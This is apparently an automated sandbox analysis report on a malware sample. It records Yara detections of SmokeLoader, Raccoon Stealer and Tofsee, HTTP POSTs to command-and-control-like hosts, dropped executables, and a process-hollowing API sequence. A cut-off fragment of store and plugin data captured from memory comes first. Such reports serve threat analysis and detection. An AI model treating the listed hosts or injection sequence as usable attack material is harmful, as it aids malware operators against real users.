"GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-01-07T11:33:20.1626869Z\|\|.\|\|d5cdcec3-04df-404e-ba07-3240047c89f9\|\|1152921505694348672\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: l9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: romium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"DivX Web Player","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"Facebook Video","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"Chrome PDF Viewer","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"Chrome PDF Plugin","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"Google Earth","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"Google Talk","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"IBMJava*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-j

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://rrooukv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 361Host: host-data-coin-11.com

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.105:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49891 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 16.2.95C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.sbxGIUIhRd.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.sbxGIUIhRd.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.95C6.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.adijaeg.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.sbxGIUIhRd.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.sbxGIUIhRd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.sbxGIUIhRd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.95C6.exe.5615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.95C6.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.adijaeg.5615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.95C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.95C6.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.sbxGIUIhRd.exe.5615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.adijaeg.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.767064606.0000000000561000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.719013921.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.921866016.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.706607181.0000000004DC1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.787707490.0000000002051000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.719027443.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.787566424.0000000002030000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.920736016.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.766964771.0000000000420000.00000004.00000001.sdmp, type: MEMORY

Source: 8A6B.exe, 0000000C.00000000.764316157.000000000074A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 00000029.00000002.932916871.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.866964276.0000000004E90000.00000004.00000001.sdmp, type: MEMORY

Spam, unwanted Advertisements and Ransom Demands:

Yara detected Tofsee

Show sources

Source: Yara match	File source: 19.2.E2A6.exe.560e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.svchost.exe.2360000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.3.gaystiqf.exe.650000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.E2A6.exe.580000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.E2A6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.gaystiqf.exe.850000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.gaystiqf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.E2A6.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.gaystiqf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.gaystiqf.exe.630e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.svchost.exe.2360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.gaystiqf.exe.850000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000026.00000002.979557466.0000000002360000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.809196350.0000000000630000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.805779040.0000000000650000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.808208197.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.803426452.0000000000560000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.785124178.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.809631719.0000000000850000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: E2A6.exe PID: 4752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gaystiqf.exe PID: 4588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 5288, type: MEMORYSTR

System Summary:

PE file has nameless sections

Show sources

Source: B3EB.exe.5.dr	Static PE information: section name:
Source: B3EB.exe.5.dr	Static PE information: section name:
Source: B3EB.exe.5.dr	Static PE information: section name:
Source: B3EB.exe.5.dr	Static PE information: section name:
Source: B3EB.exe.5.dr	Static PE information: section name:
Source: B3EB.exe.5.dr	Static PE information: section name:

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6760 -ip 6760

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 0_2_0042B1B0	0_2_0042B1B0
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 0_2_0042A3D0	0_2_0042A3D0
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 0_2_00424EA0	0_2_00424EA0
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 0_2_005631FF	0_2_005631FF
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 0_2_00563253	0_2_00563253
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_2_00402A5F	1_2_00402A5F
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_2_00402AB3	1_2_00402AB3
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_1_00402A5F	1_1_00402A5F
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_1_00402AB3	1_1_00402AB3
Source: C:\Users\user\AppData\Roaming\adijaeg	Code function: 10_2_00402A5F	10_2_00402A5F
Source: C:\Users\user\AppData\Roaming\adijaeg	Code function: 10_2_00402AB3	10_2_00402AB3
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_004027CA	12_2_004027CA
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_00401FF1	12_2_00401FF1
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_0040158E	12_2_0040158E
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_004015A6	12_2_004015A6
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_004015BC	12_2_004015BC
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_00411065	12_2_00411065
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_00412A02	12_2_00412A02
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_0040CAC5	12_2_0040CAC5
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_00410B21	12_2_00410B21
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_004115A9	12_2_004115A9
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_0059160C	12_2_0059160C
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_005915DE	12_2_005915DE
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_005915F6	12_2_005915F6
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 13_2_00563253	13_2_00563253
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 13_2_005631FF	13_2_005631FF
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_2_00402A5F	16_2_00402A5F
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_2_00402AB3	16_2_00402AB3
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_1_00402A5F	16_1_00402A5F
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_1_00402B2E	16_1_00402B2E
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00410800	18_2_00410800
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00411280	18_2_00411280
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_004103F0	18_2_004103F0
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_004109F0	18_2_004109F0
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00640640	18_2_00640640
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00640C40	18_2_00640C40
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00640A50	18_2_00640A50
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_006414D0	18_2_006414D0
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Code function: 19_2_0040C913	19_2_0040C913
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Code function: 19_2_0042B160	19_2_0042B160
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Code function: 19_2_0042A380	19_2_0042A380
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Code function: 19_2_00424E50	19_2_00424E50
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Code function: 21_2_027D96F0	21_2_027D96F0
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Code function: 21_2_027D0470	21_2_027D0470
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Code function: 21_2_027D0463	21_2_027D0463
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Code function: 21_2_0285DE18	21_2_0285DE18
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Code function: 21_2_02858657	21_2_02858657
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Code function: 21_2_02858DE8	21_2_02858DE8
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Code function: 21_2_02858DF8	21_2_02858DF8
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Code function: 21_2_04F300F1	21_2_04F300F1
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Code function: 35_2_0040C913	35_2_0040C913
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Code function: 35_2_0042B160	35_2_0042B160
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Code function: 35_2_0042A380	35_2_0042A380
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Code function: 35_2_00424E50	35_2_00424E50

Source: C:\Users\user\AppData\Local\Temp\E2A6.exe

Code function: 19_2_00401280 ShellExecuteExW,lstrlenW,GetStartupInfoW,CreateProcessWithLogonW,WaitForSingleObject,CloseHandle,CloseHandle,GetLastError,GetLastError,

19_2_00401280

Source: sbxGIUIhRd.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sbxGIUIhRd.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sbxGIUIhRd.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sbxGIUIhRd.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 96DB.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 96DB.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 96DB.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 96DB.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 8A6B.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 8A6B.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 8A6B.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 95C6.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 95C6.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 95C6.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 95C6.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CFE8.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CFE8.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CFE8.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CFE8.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: E2A6.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: E2A6.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: E2A6.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: E2A6.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BBBC.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BBBC.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BBBC.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C487.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 7D38.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 7D38.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 7D38.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: adijaeg.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: adijaeg.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: adijaeg.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: adijaeg.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: gaystiqf.exe.19.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: gaystiqf.exe.19.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: gaystiqf.exe.19.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: gaystiqf.exe.19.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\AppData\Local\Temp\FA5C.exe

Section loaded: mscorjit.dll

Jump to behavior

Source: sbxGIUIhRd.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\txlhcyih\

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: String function: 0041E390 appears 172 times
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: String function: 00422C10 appears 133 times
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: String function: 004048D0 appears 460 times
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Code function: String function: 0040EE2A appears 40 times
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Code function: String function: 00402544 appears 53 times
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Code function: String function: 0041E320 appears 32 times
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Code function: String function: 0041E320 appears 32 times

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 0_2_00560110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	0_2_00560110
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_2_00401962 Sleep,NtTerminateProcess,	1_2_00401962
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_2_0040196D Sleep,NtTerminateProcess,	1_2_0040196D
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_00402000
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	1_2_0040250A
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_2_00401A0B NtTerminateProcess,	1_2_00401A0B
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040201A
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040201E
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040202D
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_2_00402084 LocalAlloc,NtQuerySystemInformation,	1_2_00402084
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_2_00402491 NtOpenKey,	1_2_00402491
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_00402000
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	1_1_0040250A
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040201A
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040201E
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040202D
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_1_00402084 LocalAlloc,NtQuerySystemInformation,	1_1_00402084
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 1_1_00402491 NtOpenKey,	1_1_00402491
Source: C:\Users\user\AppData\Roaming\adijaeg	Code function: 10_2_00401962 Sleep,NtTerminateProcess,	10_2_00401962
Source: C:\Users\user\AppData\Roaming\adijaeg	Code function: 10_2_0040196D Sleep,NtTerminateProcess,	10_2_0040196D
Source: C:\Users\user\AppData\Roaming\adijaeg	Code function: 10_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	10_2_00402000
Source: C:\Users\user\AppData\Roaming\adijaeg	Code function: 10_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	10_2_0040250A
Source: C:\Users\user\AppData\Roaming\adijaeg	Code function: 10_2_00401A0B NtTerminateProcess,	10_2_00401A0B
Source: C:\Users\user\AppData\Roaming\adijaeg	Code function: 10_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	10_2_0040201A
Source: C:\Users\user\AppData\Roaming\adijaeg	Code function: 10_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	10_2_0040201E
Source: C:\Users\user\AppData\Roaming\adijaeg	Code function: 10_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	10_2_0040202D
Source: C:\Users\user\AppData\Roaming\adijaeg	Code function: 10_2_00402084 LocalAlloc,NtQuerySystemInformation,	10_2_00402084
Source: C:\Users\user\AppData\Roaming\adijaeg	Code function: 10_2_00402491 NtOpenKey,	10_2_00402491
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 13_2_00560110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	13_2_00560110
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_2_00401962 Sleep,NtTerminateProcess,	16_2_00401962
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_2_0040196D Sleep,NtTerminateProcess,	16_2_0040196D
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	16_2_00402000
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	16_2_0040250A
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_2_00401A0B NtTerminateProcess,	16_2_00401A0B
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	16_2_0040201A
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	16_2_0040201E
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	16_2_0040202D
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_2_00402084 LocalAlloc,NtQuerySystemInformation,	16_2_00402084
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_2_00402491 NtOpenKey,	16_2_00402491
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	16_1_00402000
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	16_1_0040250A
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	16_1_0040201A
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	16_1_0040201E
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	16_1_0040202D
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 16_1_00402084 LocalAlloc,NtQuerySystemInformation,	16_1_00402084
